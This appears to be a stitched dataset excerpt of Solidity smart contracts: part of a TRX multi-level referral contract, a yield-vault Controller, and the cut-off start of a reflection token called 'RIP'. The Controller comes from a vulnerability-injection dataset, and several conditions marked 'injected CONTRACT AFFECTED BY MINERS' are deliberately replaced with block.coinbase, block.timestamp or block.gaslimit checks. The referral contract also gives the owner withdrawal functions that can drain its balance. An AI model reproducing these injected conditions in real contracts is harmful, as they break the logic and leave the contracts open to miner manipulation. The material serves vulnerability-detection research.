id: currentId,
referrerID: 0,
refCount: 0,
ALevel: 5,
BLevel: 5,
levelAEarnings : 0,
levelBEarnings : 0,
totalEarning:0,
referral: new address[](0)
});
users[ownerAddress] = userStruct;
userList[currentId] = ownerAddress;
for(uint i = 1; i <= 9; i++) {
users[ownerAddress].levelExpired[i] = 900000 days;
}
}
function regUser(uint _referrerID) external payable {
require(lockStatus == false, "Contract Locked");
require(users[msg.sender].isExist == false, "User exist");
require(_referrerID > 0 && _referrerID <= currentId, "Incorrect referrer Id");
regAmount = LEVEL_PRICE[1] + LEVEL_PRICE[6] + (adminFee * 2);
require(msg.value == regAmount, "Incorrect Value");
UserStruct memory userStruct;
currentId++;
userStruct = UserStruct({
isExist: true,
id: currentId,
referrerID: _referrerID,
refCount: 0,
ALevel: 1,
BLevel: 1,
levelAEarnings : 0,
levelBEarnings : 0,
totalEarning:0,
referral: new address[](0)
});
users[msg.sender] = userStruct;
userList[currentId] = msg.sender;
users[msg.sender].levelExpired[1] = now.add(PERIOD_LENGTH);
users[msg.sender].levelExpired[6] = now.add(PERIOD_LENGTH);
users[userList[_referrerID]].referral.push(msg.sender);
users[userList[_referrerID]].refCount++;
loopCheck[msg.sender] = 0;
createdDate[msg.sender] = now;
//payForPlanA(0, 1, msg.sender, LEVEL_PRICE[1] + adminFee);
payForPlanA(0, 1, msg.sender, LEVEL_PRICE[1] + adminFee);
payForPlanB(0, 6, msg.sender, LEVEL_PRICE[6] + adminFee);
emit regLevelEvent(msg.sender, userList[_referrerID], now);
}
function buyLevel(uint256 _level) external payable {
require(lockStatus == false, "Contract Locked");
require(users[msg.sender].isExist, "User not exist");
require(_level > 0 && _level <= 9, "Incorrect level");
if (_level == 1)
{
require(msg.value == LEVEL_PRICE[1] + adminFee, "Incorrect Value");
users[msg.sender].levelExpired[1] = now + PERIOD_LENGTH;
users[msg.sender].ALevel = 1;
}
else if(_level >= 2 && _level <= 5)
{
require(msg.value == LEVEL_PRICE[_level] + adminFee, "Incorrect Value");
for (uint i = _level - 1; i >= 2; i--)
require(users[msg.sender].levelExpired[i] >= now, "Buy the previous level");
users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
//if (users[msg.sender].levelExpired[_level] == 0)
// users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
//else if(users[msg.sender].levelExpired[_level] >= 0){
// if(now > users[msg.sender].levelExpired[_level])
// users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
// else
// users[msg.sender].levelExpired[_level] += PERIOD_LENGTH;
//}
//else
// users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
users[msg.sender].ALevel = _level;
}
else if(_level >= 6 && _level <= 9)
{
require(msg.value == LEVEL_PRICE[_level] + adminFee, "Incorrect Value");
for (uint i = _level - 1; i >= 6; i--)
require(users[msg.sender].levelExpired[i] >= now, "Buy the previous level");
if (users[msg.sender].levelExpired[_level] == 0)
users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
else if(users[msg.sender].levelExpired[_level] >= 0){
require(users[msg.sender].levelExpired[_level] <= now + PERIOD_LENGTH, 'Level activated already');
if(now > users[msg.sender].levelExpired[_level])
users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
else
users[msg.sender].levelExpired[_level] += PERIOD_LENGTH;
}
else
users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
users[msg.sender].BLevel = _level - 5;
}
loopCheck[msg.sender] = 0;
if(_level >= 1 && _level <= 5)
payForPlanA(0, _level, msg.sender, LEVEL_PRICE[_level] + adminFee);
else if(_level >= 6 && _level <= 9)
payForPlanB(0, _level, msg.sender, LEVEL_PRICE[_level] + adminFee);
emit buyLevelEvent(msg.sender, _level, now, LEVEL_PRICE[_level]);
}
function payForPlanA(uint _flag, uint _level, address _userAddress, uint256 _amt) internal {
require(_amt == (LEVEL_PRICE[_level] + adminFee),"Invalid level amount");
address[] memory referer;
address referrerAddress= userList[users[_userAddress].referrerID];
if (!users[referrerAddress].isExist) referrerAddress = userList[1];
if(users[referrerAddress].levelExpired[_level] >= now){
uint transferAmount = (LEVEL_PRICE[_level] * 10) / 100;
users[referrerAddress].totalEarning = users[referrerAddress].totalEarning.add(transferAmount);
EarnedTrx[referrerAddress][_level] = EarnedTrx[referrerAddress][_level].add(transferAmount);
address(uint160(referrerAddress)).send(transferAmount);
users[referrerAddress].levelAEarnings += transferAmount;
emit getMoneyForPlanAEvent(msg.sender, users[msg.sender].id, referrerAddress, users[referrerAddress].id, _level , 1, transferAmount, now);
//referer.push(referrerAddress);
uint i = 2;
while(i <= 9){
address ref = userList[users[referrerAddress].referrerID];
if (!users[referrerAddress].isExist) ref = userList[1];
if(users[ref].levelExpired[_level] >= now){
users[ref].totalEarning = users[ref].totalEarning.add(transferAmount);
EarnedTrx[ref][_level] = EarnedTrx[ref][_level].add(transferAmount);
address(uint160(ref)).send(transferAmount);
users[ref].levelAEarnings += transferAmount;
emit getMoneyForPlanAEvent(msg.sender, users[msg.sender].id, ref, users[ref].id, _level,i, transferAmount, now);
//referer.push(ref);
i++;
}else{
emit lostMoneyForLevelEvent(msg.sender, users[msg.sender].id, ref, users[ref].id, _level, transferAmount,now);
}
referrerAddress = ref;
}
users[userList[1]].totalEarning = users[userList[1]].totalEarning.add(transferAmount);
EarnedTrx[userList[1]][_level] = EarnedTrx[userList[1]][_level].add(transferAmount);
address(uint160(userList[1])).send(transferAmount);
users[userList[1]].levelAEarnings += transferAmount;
emit getMoneyForPlanAEvent(msg.sender, users[msg.sender].id, userList[1], users[userList[1]].id, _level,10, transferAmount, now);
address(uint160(adminAddress)).send(adminFee);
}
else
{
if (loopCheck[msg.sender] < 48) {
loopCheck[msg.sender] = loopCheck[msg.sender].add(1);
emit lostMoneyForLevelEvent(msg.sender, users[msg.sender].id, referrerAddress, users[referrerAddress].id, _level, LEVEL_PRICE[_level],now);
payForPlanA(0, _level, referrerAddress, _amt);
}
}
}
function payForPlanB(uint _flag, uint _level, address _userAddress, uint256 _amt) internal {
require(_amt == (LEVEL_PRICE[_level] + adminFee),"Invalid amount");
address[6] memory referer;
address referer1;
address referer2;
address referer3;
referer[0] = userList[users[_userAddress].referrerID];
if (!users[referer[0]].isExist) referer[0] = userList[1];
if (loopCheck[msg.sender] >= 48) {
referer[0] = userList[1];
}
if (users[referer[0]].levelExpired[_level] >= now) {
uint refAmountL4 = 0 trx;
uint refAmountL3 = 0 trx;
uint refAmountL2 = 0 trx;
uint refAmountL1 = 0 trx;
if(_level == 6){
users[referer[0]].totalEarning = users[referer[0]].totalEarning.add(LEVEL_PRICE[_level]);
EarnedTrx[referer[0]][_level] = EarnedTrx[referer[0]][_level].add(LEVEL_PRICE[_level]);
require((address(uint160(referer[0])).send(LEVEL_PRICE[_level])) , "Transaction Failure");
users[referer[0]].levelBEarnings += LEVEL_PRICE[_level];
emit getMoneyForPlanBEvent(msg.sender, users[msg.sender].id, referer[0], users[referer[0]].id, _level,1, 50 trx, now);
}else if(_level > 6 && _level <= 9){
if(_level == 7){
refAmountL1 = ((LEVEL_PRICE[_level] / 2) * 40) / 100;
refAmountL2 = LEVEL_PRICE[_level] / 2;
refAmountL3 = (((LEVEL_PRICE[_level] / 2) * 60) / 100) / 2;
refAmountL4 = (((LEVEL_PRICE[_level] / 2) * 60) / 100) / 2;
}else if(_level == 8){
refAmountL1 = LEVEL_PRICE[_level] / 8;
refAmountL2 = LEVEL_PRICE[_level] / 8;
refAmountL3 = LEVEL_PRICE[_level] - (refAmountL1 * 3);
refAmountL4 = LEVEL_PRICE[_level] / 8;
}else if(_level == 9){
refAmountL1 = LEVEL_PRICE[_level] / 8;
refAmountL2 = LEVEL_PRICE[_level] / 8;
refAmountL3 = LEVEL_PRICE[_level] / 8;
refAmountL4 = LEVEL_PRICE[_level] - (refAmountL1 * 3);
}
require((address(uint160(referer[0])).send(refAmountL1)) , "Transaction Failure");
users[referer[0]].totalEarning = users[referer[0]].totalEarning.add(refAmountL1);
EarnedTrx[referer[0]][_level] = EarnedTrx[referer[0]][_level].add(refAmountL1);
users[referer[0]].levelBEarnings += refAmountL1;
emit getMoneyForPlanBEvent(msg.sender, users[msg.sender].id, referer[0], users[referer[0]].id, _level,1, refAmountL1, now);
referer1 = userList[users[referer[0]].referrerID];
if (users[referer1].levelExpired[_level] < now)
{
referer1 = payForLevelSponsor(referer1, _level,refAmountL2);
}
referer2 = userList[users[referer1].referrerID];
if (users[referer2].levelExpired[_level] < now)
{
referer2 = payForLevelSponsor(referer2, _level,refAmountL3);
}
referer3 = userList[users[referer2].referrerID];
if (users[referer3].levelExpired[_level] < now)
{
referer3 = payForLevelSponsor(referer3, _level,refAmountL4);
}
if(!users[referer1].isExist) referer1 = userList[1];
if(!users[referer2].isExist) referer2 = userList[1];
if(!users[referer3].isExist) referer3 = userList[1];
require(address(uint160(referer1)).send(refAmountL2), "Referrer level 2 transfer failed");
//users[referer1].totalEarning = users[referer1].totalEarning.add(refAmountL2);
EarnedTrx[referer1][_level] = EarnedTrx[referer1][_level].add(refAmountL2);
users[referer1].levelBEarnings += refAmountL2;
emit getMoneyForPlanBEvent(msg.sender, users[msg.sender].id, referer1, users[referer1].id, _level,2, refAmountL2, now);
require(address(uint160(referer2)).send(refAmountL3), "Referrer level 3 transfer failed");
//users[referer2].totalEarning = users[referer2].totalEarning.add(refAmountL3);
EarnedTrx[referer2][_level] = EarnedTrx[referer2][_level].add(refAmountL3);
users[referer2].levelBEarnings += refAmountL3;
emit getMoneyForPlanBEvent(msg.sender, users[msg.sender].id, referer2, users[referer2].id, _level,3, refAmountL3, now);
require(address(uint160(referer3)).send(refAmountL4), "Referrer level 4 transfer failed");
//users[referer3].totalEarning = users[referer3].totalEarning.add(refAmountL4);
EarnedTrx[referer3][_level] = EarnedTrx[referer3][_level].add(refAmountL4);
users[referer3].levelBEarnings += refAmountL4;
emit getMoneyForPlanBEvent(msg.sender, users[msg.sender].id, referer3, users[referer3].id, _level,4, refAmountL4, now);
users[referer1].totalEarning += refAmountL2;
users[referer2].totalEarning += refAmountL3;
users[referer3].totalEarning += refAmountL4;
}
address(uint160(adminAddress)).send(adminFee);
}
else
{
if (loopCheck[msg.sender] < 48) {
loopCheck[msg.sender] = loopCheck[msg.sender].add(1);
uint lostamount = 0 trx;
if(_level == 6){
lostamount = LEVEL_PRICE[_level];
}else if(_level == 7){
lostamount = ((LEVEL_PRICE[_level] / 2) * 40) / 100;
}
else if(_level > 7 && _level <= 9){
lostamount = LEVEL_PRICE[_level] / 8;
}
emit lostMoneyForLevelEvent(msg.sender, users[msg.sender].id, referer[0], users[referer[0]].id, _level, lostamount,now);
payForPlanB(0, _level, referer[0], _amt);
}
}
}
function payForLevelSponsor(address _userAddress, uint _level, uint amt) private returns(address){
address[6] memory referer;
referer[0] = userList[users[_userAddress].referrerID];
if (!users[referer[0]].isExist) referer[0] = userList[1];
if (loopCheck[msg.sender] >= 48) {
referer[0] = userList[1];
}
if (users[referer[0]].levelExpired[_level] >= now) {
return referer[0];
}
else
{
if (loopCheck[msg.sender] < 48) {
loopCheck[msg.sender] = loopCheck[msg.sender].add(1);
emit lostMoneyForLevelEvent(msg.sender, users[msg.sender].id, referer[0], users[referer[0]].id, _level, amt,now);
return payForLevelSponsor(referer[0], _level,amt);
}
}
}
function failSafe(address payable _toUser, uint _amount) public returns (bool) {
require(msg.sender == ownerAddress, "only Owner Wallet");
require(_toUser != address(0), "Invalid Address");
require(address(this).balance >= _amount, "Insufficient balance");
(_toUser).transfer(_amount);
return true;
}
function updateFeePercentage(uint256 _adminFee) public returns (bool) {
require(msg.sender == ownerAddress, "only OwnerWallet");
adminFee = _adminFee;
return true;
}
function updatePeriodLength(uint noofdays) public returns (bool) {
require(msg.sender == ownerAddress, "only OwnerWallet");
PERIOD_LENGTH = noofdays * 86400;
return true;
}
function updatePrice(uint _level, uint _price) public returns (bool) {
require(msg.sender == ownerAddress, "only OwnerWallet");
LEVEL_PRICE[_level] = _price;
return true;
}
function updateAdmin(address admin) public returns (bool) {
require(msg.sender == ownerAddress, "only OwnerWallet");
adminAddress = admin;
return true;
}
function contractLock(bool _lockStatus) public returns (bool) {
require(msg.sender == ownerAddress, "Invalid User");
lockStatus = _lockStatus;
return true;
}
function getTotalEarnedTRX() public view returns (uint) {
uint totalTrx;
for (uint i = 1; i <= currentId; i++) {
totalTrx = totalTrx.add(users[userList[i]].totalEarning);
}
return totalTrx;
}
function viewUserReferral(address _userAddress) external view returns (address[] memory) {
return users[_userAddress].referral;
}
function viewUserLevelExpired(address _userAddress,uint _level) external view returns (uint) {
return users[_userAddress].levelExpired[_level];
}
// fallback
function () external payable {
revert("Invalid Transaction");
}
function withdrawSafe(uint _amount) external {
require(msg.sender==ownerAddress,'Permission denied');
if (_amount > 0) {
uint contractBalance = address(this).balance;
if (contractBalance > 0) {
uint amtToTransfer = _amount > contractBalance ? contractBalance : _amount;
msg.sender.transfer(amtToTransfer);
}
}
}
}
| 296,207 | 13,529 |
99887f5fe90dc88f1ada2516015777e206035fb8337b6011ce0d00a705bb1f9e
| 12,147 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/contractAffectedByMiners/0x620bfbb0a05c3771110fbfbff94beb641cdb09f3_affectedByMiners.sol
| 3,048 | 11,737 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.16;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (block.number > 0) { // Return data is optional //injected CONTRACT AFFECTED BY MINERS
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface Strategy {
function want() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint) external;
function withdrawAll() external returns (uint);
function balanceOf() external view returns (uint);
}
interface Converter {
function convert(address) external returns (uint);
}
interface OneSplitAudit {
function swap(address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 flags)
external
payable
returns(uint256 returnAmount);
function getExpectedReturn(address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol)
external
view
returns(uint256 returnAmount,
uint256[] memory distribution);
}
contract Controller {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
address public governance;
address public strategist;
address public onesplit;
address public rewards;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
mapping(address => mapping(address => bool)) public approvedStrategies;
uint public split = 500;
uint public constant max = 10000;
constructor(address _rewards) public {
governance = msg.sender;
strategist = msg.sender;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = _rewards;
}
function setRewards(address _rewards) public {
require(msg.sender == governance, "!governance");
rewards = _rewards;
}
function setStrategist(address _strategist) public {
require(msg.sender == governance, "!governance");
strategist = _strategist;
}
function setSplit(uint _split) public {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setVault(address _token, address _vault) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(vaults[_token] == address(0), "vault");
vaults[_token] = _vault;
}
function approveStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = true;
}
function revokeStrategy(address _token, address _strategy) public {
require(msg.sender == governance, "!governance");
approvedStrategies[_token][_strategy] = false;
}
function setConverter(address _input, address _output, address _converter) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
require(approvedStrategies[_token][_strategy] == true, "!approved");
address _current = strategies[_token];
if (block.coinbase != address(0)) { //injected CONTRACT AFFECTED BY MINERS
Strategy(_current).withdrawAll();
}
strategies[_token] = _strategy;
}
function earn(address _token, uint _amount) public {
address _strategy = strategies[_token];
address _want = Strategy(_strategy).want();
if (block.coinbase != _token) { //injected CONTRACT AFFECTED BY MINERS
address converter = converters[_token][_want];
IERC20(_token).safeTransfer(converter, _amount);
_amount = Converter(converter).convert(_strategy);
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
Strategy(_strategy).deposit();
}
function balanceOf(address _token) external view returns (uint) {
return Strategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!strategist");
Strategy(strategies[_token]).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint _amount) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(msg.sender, _amount);
}
function inCaseStrategyTokenGetStuck(address _strategy, address _token) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
Strategy(_strategy).withdraw(_token);
}
function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) {
uint _balance = IERC20(_token).balanceOf(_strategy);
address _want = Strategy(_strategy).want();
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy, address _token, uint parts) public {
require(msg.sender == strategist || msg.sender == governance, "!governance");
// This contract should never have value in it, but just incase since this is a public call
uint _before = IERC20(_token).balanceOf(address(this));
Strategy(_strategy).withdraw(_token);
uint _after = IERC20(_token).balanceOf(address(this));
if (block.timestamp > _before) { //injected CONTRACT AFFECTED BY MINERS
uint _amount = _after.sub(_before);
address _want = Strategy(_strategy).want();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (block.gaslimit > _before) { //injected CONTRACT AFFECTED BY MINERS
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
}
function withdraw(address _token, uint _amount) public {
require(msg.sender == vaults[_token], "!vault");
Strategy(strategies[_token]).withdraw(_amount);
}
}
| 280,972 | 13,530 |
26d0a3a85510bbd3e4339340227111a4660a97d4a8b0775d87b979ef1836c7fd
| 25,902 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0x3B25d2A8Cb244930A640c1B9dA4A66f1d74F6d90/contract.sol
| 4,484 | 16,527 |
// RIP (Rest In Pump)
// Why? Because Every Degen deserves to make it
// A clone of FEG but with a 5% reward distribution fee
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract RIP is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = 'Rest In Pump';
string private _symbol = 'RIP';
uint8 private _decimals = 9;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
